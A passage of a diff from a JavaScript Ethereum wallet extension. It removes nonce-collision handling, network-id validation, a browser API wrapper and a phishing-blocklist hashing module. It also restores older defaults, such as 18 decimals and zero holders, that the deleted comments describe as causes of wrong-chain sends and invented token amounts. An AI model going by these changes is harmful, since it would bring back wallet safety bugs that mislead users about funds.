-// nested under `error` or `info.error` with the node's message intact, and the
-// classification below has to see that too.
-function failureTexts(err) {
-    if (typeof err === "string") return [err];
-    if (!err || typeof err !== "object") return [];
-    const texts = [];
-    for (const text of [err.shortMessage, err.message, err.reason]) {
-        if (text) texts.push(String(text));
-    }
-    const nested = err.error || (err.info && err.info.error);
-    if (nested && nested.message) texts.push(String(nested.message));
-    return texts;
-}
-
-// What the Ethereum clients say when a transaction's nonce is already spoken
-// for: either it is below the account's next nonce, or another transaction is
-// sitting in the pool at that nonce and this one did not outbid it. Either way
-// the node answered, and its answer was that it did not take this transaction.
-//
-// "already known" is deliberately absent. A node that says it knows the
-// transaction has it, so that transaction did reach the network and the
-// ambiguous broadcast wording is the correct one for it.
-const NONCE_COLLISION_PATTERNS = [
-    /nonce too low/i,
-    /nonce has already been used/i,
-    /invalid nonce/i,
-    /oldnonce/i,
-    /replacement transaction underpriced/i,
-    /replacement fee too low/i,
-];
-
-// ethers' own classification of the same two conditions.
-const NONCE_COLLISION_CODES = ["NONCE_EXPIRED", "REPLACEMENT_UNDERPRICED"];
-
-// Whether a failed send is a nonce collision.
-function isNonceCollision(err) {
-    if (!err) return false;
-    if (err.code && NONCE_COLLISION_CODES.includes(err.code)) return true;
-    return failureTexts(err).some((text) =>
-        NONCE_COLLISION_PATTERNS.some((pattern) => pattern.test(text)),
-    );
-}
-
-// What both the requesting page and the popup are told about a nonce
-// collision. The node's own words ("nonce too low") are a fragment and are
-// replaced rather than passed through: they are not a sentence, and they say
-// less than the wallet knows.
-const NONCE_COLLISION_MESSAGE =
-    "The transaction was not sent, because its nonce had already been used" +
-    " by another transaction.";
-
-// What the background does with a pending transaction approval after a failed
-// attempt: what it tells the popup, and whether the approval is spent
-// (resolved to the requesting page as an error and deleted) or left standing
-// so the user can try the transaction they already saw again.
-//
-//  - sign: the popup could not produce an artifact, almost always a wrong
-//    password. Nothing left the extension, so the approval stands.
-//  - verify: a mismatch is a refusal and spends the approval — an artifact
-//    that is not the approved transaction must never be retried against that
-//    approval. Anything else failed before the check ran and is retryable.
-//  - broadcast: always terminal. A broadcast that throws after the node
-//    accepted the transaction is routine (a timeout, a dropped response, a
-//    node answering "already known"), so the wallet cannot tell a transaction
-//    that never left from one that is already in the mempool. The approval is
-//    spent and the requesting page has been given its outcome; a second
-//    attempt against it would report a second outcome for one request.
-//  - nonce: terminal too, and the one case where the wallet does know the
-//    transaction never left. The approval carries a nonce that is spent, so
-//    the artifact signed against it can never be accepted and the user is told
-//    to send it again from the site.
-//
-// The stage comes back out because a broadcast failure the node blamed on the
-// nonce is reclassified here; the caller reports the stage this returns rather
-// than the one it passed in.
-function describeTxFailure(stage, err) {
-    if (
-        stage === TX_STAGE_NONCE ||
-        (stage === TX_STAGE_BROADCAST && isNonceCollision(err))
-    ) {
-        return {
-            error: NONCE_COLLISION_MESSAGE,
-            retryable: false,
-            spendApproval: true,
-            stage: TX_STAGE_NONCE,
-        };
-    }
-    const error = errorText(err);
-    const retryable =
-        stage === TX_STAGE_SIGN ||
-        (stage === TX_STAGE_VERIFY && failureIsRetryable(err));
-    return { error, retryable, spendApproval: !retryable, stage };
-}
-
-// What the popup shows and does after the background reports a failed signing
-// attempt. A retryable failure leaves the approval pending in the background,
-// so the button goes back to being usable; a refusal spent the approval, and
-// the popup says so rather than offering a button that cannot succeed.
-//
-// A failed broadcast gets its own wording: the transaction may already be on
-// the network, so telling the user to start again from the site is exactly the
-// wrong instruction. A nonce collision is the exception to that exception —
-// the transaction demonstrably did not go out, and saying it might have would
-// send the user hunting for a transaction that does not exist.
-function describeSigningFailure(response, fallbackMessage) {
-    let message = (response && response.error) || fallbackMessage;
-    if (!/[.!?]$/.test(message)) message += ".";
-    const retryable = !!(response && response.retryable);
-    const stage = response && response.stage;
-    if (!retryable) {
-        if (stage === TX_STAGE_NONCE) {
-            message +=
-                " The transaction did not reach the network." +
-                " Please send it again from the site.";
-        } else if (stage === TX_STAGE_BROADCAST) {
-            message +=
-                " The transaction may still have reached the network." +
-                " Check the account before sending it again.";
-        } else if (stage === TX_STAGE_INFLIGHT) {
-            message +=
-                " The first attempt is still running and may still succeed." +
-                " Wait for it rather than starting again.";
-        } else {
-            message +=
-                " This request can no longer be signed. Please start it" +
-                " again from the site.";
-        }
-    }
-    return { message, retryable };
-}
-
-module.exports = {
-    verifySignedTx,
-    verifySignature,
-    assertNoForbiddenFields,
-    assertNothingUnchecked,
-    assertCanonicalBytes,
-    assertWithinCeilings,
-    sameAddress,
-    failureIsRetryable,
-    isNonceCollision,
-    describeTxFailure,
-    describeSigningFailure,
-    ApprovalMismatchError,
-    NONCE_COLLISION_MESSAGE,
-    ALLOWED_TX_TYPES,
-    SERIALIZED_FIELDS,
-    FORBIDDEN_FIELDS,
-    APPROVED_FIELDS,
-    TX_STAGE_SIGN,
-    TX_STAGE_VERIFY,
-    TX_STAGE_BROADCAST,
-    TX_STAGE_INFLIGHT,
-    TX_STAGE_NONCE,
-    MAX_GAS_LIMIT,
-    MAX_FEE_PER_GAS,
-};
+module.exports = { verifySignedTx, verifySignature, sameAddress };

src/shared/balances.js

@@ -9,49 +9,23 @@ const {
     formatUnits,
 } = require("ethers");
 const { ERC20_ABI } = require("./constants");
-const { NETWORKS } = require("./networks");
 const { log, debugFetch } = require("./log");
 const { deriveAddressFromXpub } = require("./wallet");
-const { TOKEN_BY_ADDRESS } = require("./tokenList");
-const { LOW_HOLDER_THRESHOLD, parseHoldersCount } = require("./holders");
-const { isSpoofedSymbol } = require("./symbolSpoof");
-const { toDecimals } = require("./transferAmount");
-const { resolveTokenDecimals } = require("./approvalAmount");
+const { KNOWN_SYMBOLS, TOKEN_BY_ADDRESS } = require("./tokenList");
 
 // Use a static network to skip auto-detection (which can fail and cause
 // "could not coalesce error" on some RPC endpoints like Cloudflare).
-//
-// `networkId` is REQUIRED, and is one of the ids in networks.js. It used to be
-// optional, falling back to currentNetwork() — the module-level `state`
-// singleton, which the MV3 service worker never populates. The endpoint then
-// came out right and the static hint came out mainnet, so ethers fixed
-// `chainId` at 0x1 and every non-mainnet dApp send was prepared for the wrong
-// chain and then refused by the wallet's own verifier
-// (https://git.eeqj.de/sneak/AutistMask/issues/320). Requiring it is what
-// stops that from coming back: a caller that has no network to name has no
-// business constructing a provider, and there is no longer a default for it
-// to get silently wrong.
-//
-// Validated against NETWORKS rather than passed straight to Network.from():
-// ethers knows chains this wallet does not, so an id that is not one of ours
-// is a caller bug and must not resolve to a working provider for some other
-// chain.
-function getProvider(rpcUrl, networkId) {
-    const net = Network.from(requireNetworkId(networkId).id);
+// Accepts an optional networkName ("mainnet" or "sepolia") for the static
+// network hint so ethers picks the right chain parameters.  When omitted,
+// reads the currently selected network from extension state.
+function getProvider(rpcUrl, networkName) {
+    // Lazy require to avoid circular dependency issues at module scope.
+    const { currentNetwork } = require("./state");
+    const name = networkName || currentNetwork().id;
+    const net = Network.from(name);
     return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
 }
 
-function requireNetworkId(networkId) {
-    const net = NETWORKS[networkId];
-    if (!net) {
-        throw new Error(
-            "getProvider requires the id of a supported network; got " +
-                JSON.stringify(networkId),
-        );
-    }
-    return net;
-}
-
 function formatBalance(wei) {
     const eth = formatEther(wei);
     const parts = eth.split(".");
@@ -68,28 +42,10 @@ function formatTokenBalance(raw, decimals) {
     return parts[0] + "." + dec;
 }
 
-// The explorer's reported holding as an exact base-unit integer, or null when
-// it reported nothing usable. Base units carry no scale, so this value is
-// meaningful before the scale is known — which is what lets a holding of zero
-// be recognised as zero without guessing a scale to divide it by.
-function rawUnits(value) {
-    if (typeof value === "bigint") return value >= 0n ? value : null;
-    if (typeof value === "number") {
-        return Number.isSafeInteger(value) && value >= 0 ? BigInt(value) : null;
-    }
-    if (typeof value !== "string" || !/^[0-9]+$/.test(value)) return null;
-    return BigInt(value);
-}
-
 // Fetch token balances for a single address from Blockscout.
-// Returns [{ address, name, symbol, decimals, balance, holders }].
+// Returns [{ address, symbol, decimals, balance }].
 // Filters out spam: only shows tokens that are in the known token list,
 // explicitly tracked by the user, or have >= 1000 holders.
-//
-// `decimals` and `balance` are each null when the answer is unknown, the same
-// way `holders` already is. Absence is never filled in here: this is the
-// upstream of every screen that displays a token amount, so a value invented
-// at this point is indistinguishable from a real one everywhere below it.
 async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
     try {
         const resp = await debugFetch(
@@ -108,89 +64,35 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
 
         const balances = [];
         for (const item of items) {
-            // Case-insensitive: the token type is an explorer's label, not a
-            // protocol value, and an exact comparison silently drops a real
-            // holding if one ever writes "erc-20".  Which types are admitted
-            // is unchanged.
-            const type = String(item.token?.type || "").toUpperCase();
-            if (type !== "ERC-20") continue;
+            if (item.token?.type !== "ERC-20") continue;
+            const decimals = parseInt(item.token.decimals || "18", 10);
+            const bal = formatTokenBalance(item.value || "0", decimals);
+            if (bal === "0.0") continue;
 
             const tokenAddr = (item.token.address_hash || "").toLowerCase();
-
-            // What the explorer reported, or null. NEVER a default: this
-            // value is written to state and every later reader — the approval
-            // screen's amount line, the swap lines, the Send screen — takes it
-            // as the token's resolved scale. A fabricated 18 reads exactly
-            // like a real 18 at that point, so it does not merely display the
-            // wrong quantity, it walks straight past the refusal those screens
-            // already have for a scale nobody knows
-            // (https://git.eeqj.de/sneak/AutistMask/issues/349).
-            const decimals = toDecimals(item.token.decimals);
-
-            const raw = rawUnits(item.value);
-            // No usable amount at all is nothing to list, exactly as a
-            // formatted "0.0" was before. Checked on the base-unit integer so
-            // it does not depend on knowing the scale: zero base units is zero
-            // tokens at every scale, and a value the explorer did not report
-            // as an integer is not a holding.
-            if (raw === null || raw === 0n) continue;
-
-            // The scale this row's balance is DISPLAYED at, which is not the
-            // same question as what the explorer said. The bundled list and
-            // the tokens the user tracks both outrank the explorer already
-            // (resolveTokenDecimals), so a token they know keeps showing its
-            // real quantity even when the explorer's entry omits decimals.
-            // Only what neither of them nor the explorer knows is unknown.
-            // The stored `decimals` above stays the explorer's own answer
-            // either way: copying another source into it would make
-            // explorerDecimals()'s disagreement check compare something other
-            // than explorer values.
-            const known = resolveTokenDecimals(tokenAddr, { trackedTokens });
-            const scale = known !== null ? known : decimals;
-            // null is a holding of an amount that cannot be stated, which is
-            // not the same as a holding of zero, and must never render as one.
-            // With a scale, the display filter proper applies: a balance that
-            // rounds to zero at six places is dust and is not listed. Without
-            // one there is no such judgement to make, and the row is kept.
-            const bal = scale === null ? null : formatTokenBalance(raw, scale);
-            if (bal === "0.0") continue;
-            // null means the explorer reported no count, which is not the
-            // same as a count of zero.  This gate is not the low-holder
-            // display filter: it has no user-facing off switch and governs
-            // the whole balance list, so it stays strict and admits a token
-            // only on a reported count — an unreported one is no evidence.
-            // A legitimate token still reaches the list through the known
-            // token list or by the user tracking it, and the null is carried
-            // through to the views, where the two low-holder filters treat
-            // an unknown count as "do not judge" rather than as zero.
-            const holders = parseHoldersCount(item.token.holders_count);
+            const holders = parseInt(item.token.holders_count || "0", 10);
             const isKnown = TOKEN_BY_ADDRESS.has(tokenAddr);
             const isTracked = trackedSet.has(tokenAddr);
-            const hasEnoughHolders =
-                holders !== null && holders >= LOW_HOLDER_THRESHOLD;
+            const hasEnoughHolders = holders >= 1000;
 
             // Skip spam tokens the user never asked to see
             if (!isKnown && !isTracked && !hasEnoughHolders) continue;
 
-            // Skip tokens spoofing a known symbol from a different address.
-            // Every row here is an ERC-20 the explorer reported, so it has a
-            // contract address; the native ETH balance is fetched over RPC in
-            // refreshBalances and never passes through this loop.
-            if (isSpoofedSymbol(item.token.symbol, tokenAddr)) continue;
+            // Skip tokens spoofing a known symbol from a different address
+            const sym = (item.token.symbol || "").toUpperCase();
+            const legitAddr = KNOWN_SYMBOLS.get(sym);
+            if (
+                legitAddr !== undefined &&
+                legitAddr !== null &&
+                tokenAddr !== legitAddr
+            )
+                continue;
 
             balances.push({
                 address: item.token.address_hash,
                 name: item.token.name || "",
                 symbol: item.token.symbol || "???",
-                // null means the explorer reported no usable scale — unknown,
-                // not 18. Distinguishable from a real 18 at read time is the
-                // entire point: resolveTokenDecimals() falls through a null to
-                // its refusal, and takes an 18 as the answer.
                 decimals: decimals,
-                // null means nothing anywhere knows the scale, so there is no
-                // token quantity to state. Not "0.0": a nonzero holding shown
-                // as zero is the same lie in the balance list that the
-                // approval screens refuse to tell.
                 balance: bal,
                 holders: holders,
             });
@@ -203,15 +105,9 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
 }
 
 // Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
-async function refreshBalances(
-    wallets,
-    rpcUrl,
-    blockscoutUrl,
-    trackedTokens,
-    networkId,
-) {
+async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
     log.debugf("refreshBalances start, rpc:", rpcUrl);
-    const provider = getProvider(rpcUrl, networkId);
+    const provider = getProvider(rpcUrl);
     const updates = [];
 
     for (const wallet of wallets) {
@@ -284,9 +180,9 @@ async function refreshBalances(
 
 // Look up token metadata from its contract.
 // Calls symbol() and decimals() to verify it implements ERC-20.
-async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
+async function lookupTokenInfo(contractAddress, rpcUrl) {
     log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
-    const provider = getProvider(rpcUrl, networkId);
+    const provider = getProvider(rpcUrl);
     const contract = new Contract(contractAddress, ERC20_ABI, provider);
 
     let name, symbol, decimals;
@@ -326,9 +222,9 @@ async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
 // Checks gapLimit addresses in parallel per batch.  Stops when an entire
 // batch has no used addresses (i.e. gapLimit consecutive empty addresses).
 // Returns { addresses: [{ address, index }], nextIndex }.
-async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
+async function scanForAddresses(xpub, rpcUrl, gapLimit = 5) {
     log.debugf("scanForAddresses start, gapLimit:", gapLimit);
-    const provider = getProvider(rpcUrl, networkId);
+    const provider = getProvider(rpcUrl);
     const used = [];
     let checked = 0;
     let checkUpTo = gapLimit;
@@ -382,7 +278,6 @@ async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
 }
 
 module.exports = {
-    fetchTokenBalances,
     refreshBalances,
     lookupTokenInfo,
     getProvider,

src/shared/browserApi.js

@@ -1,280 +0,0 @@
-// The one place in this tree that names `browser` or `chrome`.
-//
-// The two targets do not agree on the namespace, and they disagree about the
-// call shape only in which one is native. Chrome MV3 exposes `chrome.*`,
-// where tabs, windows and messaging take a trailing callback and report
-// failure through the global `chrome.runtime.lastError`. Firefox MV2 exposes
-// `browser.*`, where those same methods return promises — but, measured on
-// Firefox 153.0.3, it ALSO honours a trailing Chrome-style callback, returns
-// no promise when one is given, and populates `browser.runtime.lastError`.
-// The callback code that predated this module therefore ran on both, and
-// https://git.eeqj.de/sneak/AutistMask/issues/153 was filed on the belief
-// that it did not. This module exists for uniformity, not for repair: the
-// tree used to resolve the namespace with a ternary at six call sites and
-// then mix promise-form storage with callback-form messaging.
-//
-// The strategy is promises out, everywhere: one namespace, one call shape,
-// composing with the `async` handlers in the background. Callers `await`;
-// nothing outside this file has to know which browser it is running on.
-//
-// Two deliberate asymmetries, because they are what the browsers actually do
-// rather than what a uniform-looking shim would pretend:
-//
-//  - Storage is called in its PROMISE form on both namespaces.
-//    `chrome.storage.local.get()` returns a promise on MV3 and the popup
-//    already depends on that — src/shared/state.js has always awaited it.
-//    Wrapping it in a callback here would be a change, not a fix.
-//  - notify() sends without a callback. It is for a message whose answer
-//    nobody reads; appending a callback would only manufacture a
-//    lastError/rejection for a receiver that was never expected to reply.
-//
-// Everything is resolved on use rather than captured at module load. The MV3
-// service worker is torn down and re-evaluated repeatedly, and the unit
-// suite installs its stubs on `global.chrome` around a require().
-
-// The extension API namespace, preferring `browser.*` where it exists.
-//
-// Whole-namespace, never per-method: mixing `browser.tabs` with
-// `chrome.windows` would also mix promise and callback semantics inside a
-// single call path, which is the bug this module exists to remove.
-function extensionApi() {
-    if (typeof browser !== "undefined" && browser) return browser;
-    if (typeof chrome !== "undefined" && chrome) return chrome;
-    return null;
-}
-
-// True when the resolved namespace is the promise-flavoured one.
-//
-// It doubles as "this is the Gecko/MV2 build", which is a second question
-// with the same answer and one real caller: src/content/index.js has to
-// inject the inpage provider itself there, because MV2 has no
-// `"world": "MAIN"` for a manifest-declared content script.
-function hasBrowserNamespace() {
-    return typeof browser !== "undefined" && !!browser;
-}
-
-function namespaceMember(name) {
-    const api = extensionApi();
-    return (api && api[name]) || null;
-}
-
-function runtimeApi() {
-    return namespaceMember("runtime");
-}
-
-function tabsApi() {
-    return namespaceMember("tabs");
-}
-
-function windowsApi() {
-    return namespaceMember("windows");
-}
-
-function alarmsApi() {
-    return namespaceMember("alarms");
-}
-
-// The toolbar button. MV3 calls it `action`, MV2 calls it `browserAction`.
-function actionApi() {
-    const api = extensionApi();
-    if (!api) return null;
-    return api.action || api.browserAction || null;
-}
-
-// `storage.local`, or null in a context that has no storage permission.
-//
-// Null rather than a throw for the one caller that genuinely degrades:
-// src/shared/phishingDomains.js falls back to its vendored blocklist and does
-// its own null check. Everything that reads or writes the wallet goes through
-// storageGet()/storageSet(), which reject instead — see there.
-function storageLocal() {
-    const storage = namespaceMember("storage");
-    return (storage && storage.local) || null;
-}
-
-// The callback-path error channel. Read only from inside an appended
-// callback, i.e. only on the `chrome.*` path, where it is the sole way a
-// failure is reported. The background's three explicit lastError checks are
-// gone because invoke() turns it into a rejection before any caller sees it.
-function lastError() {
-    const runtime = runtimeApi();
-    return (runtime && runtime.lastError) || null;
-}
-
-// Call `owner[method](...args)` and return a promise for its result.
-//
-// On the promise namespace the method already returns one. On the callback
-// namespace the callback is appended here and lastError becomes a rejection,
-// because a caller holding a promise has nowhere to check a global flag.
-function invoke(owner, method, ...args) {
-    if (!owner || typeof owner[method] !== "function") {
-        return Promise.reject(
-            new Error(
-                "extension API " +
-                    method +
-                    "() is not available in this context",
-            ),
-        );
-    }
-    if (hasBrowserNamespace()) {
-        try {
-            return Promise.resolve(owner[method](...args));
-        } catch (e) {
-            return Promise.reject(e);
-        }
-    }
-    return new Promise((resolve, reject) => {
-        owner[method](...args, (result) => {
-            const err = lastError();
-            if (err) reject(new Error(err.message || String(err)));
-            else resolve(result);
-        });
-    });
-}
-
-/**
- * Send a message to the extension's own contexts and resolve with the reply.
- *
- * Rejects when nothing is listening, on both browsers. A caller that does not
- * care must say so — see notify().
- *
- * @param {Object} message
- * @returns {Promise<*>} the receiver's response.
- */
-function sendMessage(message) {
-    return invoke(runtimeApi(), "sendMessage", message);
-}
-
-/**
- * Send a message nobody is expected to answer, and swallow the fact that
- * nobody did.
- *
- * @param {Object} message
- * @returns {void}
- */
-function notify(message) {
-    const runtime = runtimeApi();
-    if (!runtime || typeof runtime.sendMessage !== "function") return;
-    const result = runtime.sendMessage(message);
-    // MV3 hands back a promise for a one-argument send, and it rejects when
-    // the background is not listening. Unhandled, that surfaces as an error
-    // the e2e suites fail the run on.
-    if (result && typeof result.catch === "function") result.catch(() => {});
-}
-
-// These two carry the wallet. A missing `storage.local` has to reject and not
-// default: resolving {} would make an existing wallet read back as no wallet,
-// and resolving a no-op write would discard the user's state with nothing
-// logged. A caller that wants to degrade takes storageLocal() directly.
-function storageUnavailable(method) {
-    return Promise.reject(
-        new Error("extension storage.local is not available: " + method),
-    );
-}
-
-/**
- * @param {string|string[]|Object} keys
- * @returns {Promise<Object>} the stored items.
- * @throws rejects where `storage.local` is absent.
- */
-function storageGet(keys) {
-    const storage = storageLocal();
-    if (!storage) return storageUnavailable("get");
-    return Promise.resolve(storage.get(keys));
-}
-
-/**
- * @param {Object} items
- * @returns {Promise<void>}
- * @throws rejects where `storage.local` is absent.
- */
-function storageSet(items) {
-    const storage = storageLocal();
-    if (!storage) return storageUnavailable("set");
-    return Promise.resolve(storage.set(items));
-}
-
-/**
- * Erase stored keys. The one caller is the destructive reset on the recovery
- * screen (src/popup/views/stateRecovery.js), which is the only way out of a
- * profile no build can read; it rejects rather than defaulting for the same
- * reason the two above do — a reset that silently did nothing would leave the
- * user in the dead end they were promised an exit from.
- *
- * @param {string|string[]} keys
- * @returns {Promise<void>}
- * @throws rejects where `storage.local` is absent.
- */
-function storageRemove(keys) {
-    const storage = storageLocal();
-    if (!storage) return storageUnavailable("remove");
-    return Promise.resolve(storage.remove(keys));
-}
-
-/**
- * @param {Object} queryInfo
- * @returns {Promise<Array>} the matching tabs.
- */
-function tabsQuery(queryInfo) {
-    return invoke(tabsApi(), "query", queryInfo);
-}
-
-/**
- * Send a message to one tab's content script.
- *
- * Rejects for a tab that has no receiver, which is most of them. That
- * rejection is the promise-shaped replacement for the runtime.lastError
- * checks the broadcast helpers used to make, and callers ignore it the same
- * way.
- *
- * @param {number} tabId
- * @param {Object} message
- * @returns {Promise<*>}
- */
-function tabsSendMessage(tabId, message) {
-    return invoke(tabsApi(), "sendMessage", tabId, message);
-}
-
-/**
- * @param {Object} createData
- * @returns {Promise<Object>} the created window.
- */
-function windowsCreate(createData) {
-    return invoke(windowsApi(), "create", createData);
-}
-
-/**
- * @returns {Promise<Object>} the last focused window.
- */
-function windowsGetLastFocused() {
-    return invoke(windowsApi(), "getLastFocused");
-}
-
-/**
- * @param {number} windowId
- * @returns {Promise<void>}
- */
-function windowsRemove(windowId) {
-    return invoke(windowsApi(), "remove", windowId);
-}
-
-module.exports = {
-    actionApi,
-    alarmsApi,
-    extensionApi,
-    hasBrowserNamespace,
-    notify,
-    runtimeApi,
-    sendMessage,
-    storageGet,
-    storageLocal,
-    storageRemove,
-    storageSet,
-    tabsApi,
-    tabsQuery,
-    tabsSendMessage,
-    windowsApi,
-    windowsCreate,
-    windowsGetLastFocused,
-    windowsRemove,
-};

src/shared/chainSwitch.js

@@ -1,23 +1,14 @@
-// Consolidated chain-switch handler for the popup.
+// Consolidated chain-switch handler.
 //
 // Every state change required when the active network changes is
-// performed here so that callers (settings UI, future chain additions) all go
+// performed here so that callers (settings UI, background
+// wallet_switchEthereumChain, future chain additions) all go
 // through a single code path.
 //
 // Adding a new chain (e.g. ETC) requires only a new entry in
 // networks.js — no per-caller wiring is needed.
-//
-// The background does NOT come through here: this function mutates the
-// module-level `state` singleton, which the MV3 service worker never
-// populates, and a background switch performed on it wrote DEFAULT_STATE over
-// the user's whole profile
-// (https://git.eeqj.de/sneak/AutistMask/issues/316). The field mutations
-// themselves live in chainSwitchFields.js, which takes the record to mutate as
-// an argument; src/background/state.js applies them inside a read-modify-write
-// against storage, and the singleton is not reachable from the background
-// bundle at all (enforced by the ESLint rule in eslint.config.js).
 
-const { applyChainSwitchFields } = require("./chainSwitchFields");
+const { networkById } = require("./networks");
 const { clearPrices } = require("./prices");
 
 // Switch the active chain and reset all chain-specific cached state.
@@ -25,14 +16,39 @@ const { clearPrices } = require("./prices");
 async function onChainSwitch(newNetworkId) {
     const { state, saveState } = require("./state");
 
-    const net = applyChainSwitchFields(state, newNetworkId);
+    const net = networkById(newNetworkId);
+
+    // --- core identity ---
+    state.networkId = net.id;
+    state.rpcUrl = net.defaultRpcUrl;
+    state.blockscoutUrl = net.defaultBlockscoutUrl;
 
     // --- price cache ---
     // Prices are chain-specific (testnet tokens are worthless,
-    // ETC has different pricing, etc.). In-memory and per bundle, so this is
-    // the popup's own cache — the only context that ever fills it.
+    // ETC has different pricing, etc.).
     clearPrices();
 
+    // --- balance / refresh state ---
+    // Reset last-refresh timestamp so the next polling cycle
+    // triggers an immediate balance refresh on the new chain.
+    state.lastBalanceRefresh = 0;
+
+    // Clear per-address balances and token balances so stale data
+    // from the previous chain is never displayed while the first
+    // refresh on the new chain is in flight.
+    for (const wallet of state.wallets) {
+        for (const addr of wallet.addresses) {
+            addr.balance = "0";
+            addr.tokenBalances = [];
+        }
+    }
+
+    // --- chain-specific caches ---
+    // Token holder counts and fraud contract lists are
+    // chain-specific and must not carry over.
+    state.tokenHolderCache = {};
+    state.fraudContracts = [];
+
     await saveState();
 
     return net;

src/shared/chainSwitchFields.js

@@ -1,69 +0,0 @@
-// The field mutations a chain switch performs, applied to a state record
-// handed in rather than to the module-level `state` singleton.
-//
-// Split out of chainSwitch.js so the background can perform a chain switch
-// without the singleton being reachable from its bundle at all. The popup
-// still goes through onChainSwitch() (chainSwitch.js), which applies this to
-// the singleton and saves; the background applies it to the detached record of
-// its own read-modify-write (src/background/state.js).
-//
-// Everything here is synchronous and touches nothing but the object it is
-// given: no storage, no caches, no imports beyond the network table. That is
-// what makes it usable on a record that has been read fresh from storage
-// microseconds earlier and is about to be written back.
-
-const { networkById } = require("./networks");
-
-// Switch `s` to `newNetworkId` and reset every piece of chain-specific state
-// it carries. Returns the network configuration object for the new chain.
-function applyChainSwitchFields(s, newNetworkId) {
-    const net = networkById(newNetworkId);
-
-    // --- core identity ---
-    // Endpoints are remembered per network rather than reset to the
-    // defaults, because a user who points the wallet at their own node has
-    // no way to get that URL back once it is gone: overwriting it moved
-    // every address and every transaction onto a third-party endpoint
-    // silently and permanently.
-    //
-    // s.rpcUrl / s.blockscoutUrl stay the live endpoints of the active
-    // network, so nothing that reads them changes. The invariant is that for
-    // the ACTIVE network those two fields are authoritative and the map entry
-    // may be stale (Settings writes the fields directly); for every other
-    // network the map is authoritative. Snapshotting the outgoing network
-    // here, before the switch, is what reconciles them.
-    if (!s.networkEndpoints) s.networkEndpoints = {};
-    s.networkEndpoints[s.networkId] = {
-        rpcUrl: s.rpcUrl,
-        blockscoutUrl: s.blockscoutUrl,
-    };
-    const remembered = s.networkEndpoints[net.id] || {};
-    s.networkId = net.id;
-    s.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
-    s.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
-
-    // --- balance / refresh state ---
-    // Reset last-refresh timestamp so the next polling cycle
-    // triggers an immediate balance refresh on the new chain.
-    s.lastBalanceRefresh = 0;
-
-    // Clear per-address balances and token balances so stale data
-    // from the previous chain is never displayed while the first
-    // refresh on the new chain is in flight.
-    for (const wallet of s.wallets || []) {
-        for (const addr of wallet.addresses || []) {
-            addr.balance = "0";
-            addr.tokenBalances = [];
-        }
-    }
-
-    // --- chain-specific caches ---
-    // Token holder counts and fraud contract lists are
-    // chain-specific and must not carry over.
-    s.tokenHolderCache = {};
-    s.fraudContracts = [];
-
-    return net;
-}
-
-module.exports = { applyChainSwitchFields };

src/shared/domainHash.js

@@ -1,41 +0,0 @@
-// The one definition of how a domain becomes a blocklist entry.
-//
-// The vendored phishing blocklist ships digests, not domain names: see
-// phishingDomains.js for why, and script/vendor-blocklist for how the artifact
-// is produced. Both sides have to agree exactly — a mismatch would silently
-// match nothing, which is a blocklist that quietly protects no one — so the
-// rule lives here and is required by both rather than written down twice.
-//
-// sha256 truncated to 64 bits. Truncation is what keeps the artifact small
-// enough to bundle (16 hex characters per entry rather than 64), and 64 bits is
-// far past what this has to withstand: over ~10^5 entries the chance that any
-// hostname a user visits collides with an entry it is not is about 10^-14 per
-// lookup, and a deliberate collision buys an attacker a false phishing warning
-// on a site they do not control, not a missed one. For scale, Safe Browsing
-// distributes 32-bit prefixes and resolves the rest against a server; this is
-// 32 bits more, with no server involved.
-
-const { sha256, toUtf8Bytes } = require("ethers");
-
-const HASH_ALGORITHM = "sha256";
-const HASH_HEX_CHARS = 16;
-
-/**
- * The blocklist entry for a domain: lowercased, hashed, truncated.
- *
- * @param {string} domain
- * @returns {string} HASH_HEX_CHARS lowercase hex characters, no 0x prefix.
- */
-function hashDomain(domain) {
-    // ethers returns "0x" + 64 hex characters.
-    return sha256(toUtf8Bytes(domain.toLowerCase())).slice(
-        2,
-        2 + HASH_HEX_CHARS,
-    );
-}
-
-module.exports = {
-    HASH_ALGORITHM,
-    HASH_HEX_CHARS,
-    hashDomain,
-};

src/shared/ens.js

@@ -1,10 +1,6 @@
 // Cached ENS reverse resolution.
 // Resolves addresses to ENS names via ethers provider.lookupAddress(),
 // caching results in localStorage with a 12-hour TTL.
-//
-// POPUP ONLY. localStorage does not exist in the Chrome MV3 service worker,
-// so this module must not be pulled into src/background/. Anything the
-// background context needs to cache goes in extension storage instead.
 
 const { getProvider } = require("./balances");
 const { log } = require("./log");
@@ -32,11 +28,11 @@ function setCache(address, name) {
     localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
 }
 
-async function resolveEnsName(address, rpcUrl, networkId) {
+async function resolveEnsName(address, rpcUrl) {
     const cached = getCached(address);
     if (cached !== undefined) return cached;
 
-    const provider = getProvider(rpcUrl, networkId);
+    const provider = getProvider(rpcUrl);
     try {
         const name = (await provider.lookupAddress(address)) || null;
         setCache(address, name);
@@ -48,11 +44,11 @@ async function resolveEnsName(address, rpcUrl, networkId) {
     }
 }
 
-async function resolveEnsNames(addresses, rpcUrl, networkId) {
+async function resolveEnsNames(addresses, rpcUrl) {
     const results = new Map();
     await Promise.all(
         addresses.map(async (addr) => {
-            results.set(addr, await resolveEnsName(addr, rpcUrl, networkId));
+            results.set(addr, await resolveEnsName(addr, rpcUrl));
         }),
     );
     return results;

src/shared/holders.js

@@ -1,32 +0,0 @@
-// Holder counts, and the one rule that decides whether a count is "low".
-//
-// The block explorer's holders_count is optional: it is absent on a token it
-// has only just indexed, and it goes missing on a degraded or changed API.
-// Absent means the count is unknown.  It does not mean the token has no
-// holders, and collapsing the two hides a token the user really holds as if
-// it were spam.  Every call site reads the count through here so the
-// distinction cannot be lost again in one place while holding in the others.
-
-const LOW_HOLDER_THRESHOLD = 1000;
-
-// Parse an explorer-supplied holders_count into a number, or null when the
